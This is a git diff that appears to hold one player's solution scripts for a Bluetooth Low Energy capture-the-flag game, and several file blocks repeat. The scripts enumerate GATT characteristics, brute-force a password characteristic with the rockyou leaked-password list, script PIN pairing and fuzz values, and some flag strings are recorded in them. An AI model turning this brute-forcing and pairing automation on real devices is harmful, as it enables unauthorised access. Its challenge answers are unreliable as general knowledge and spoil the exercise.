0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = 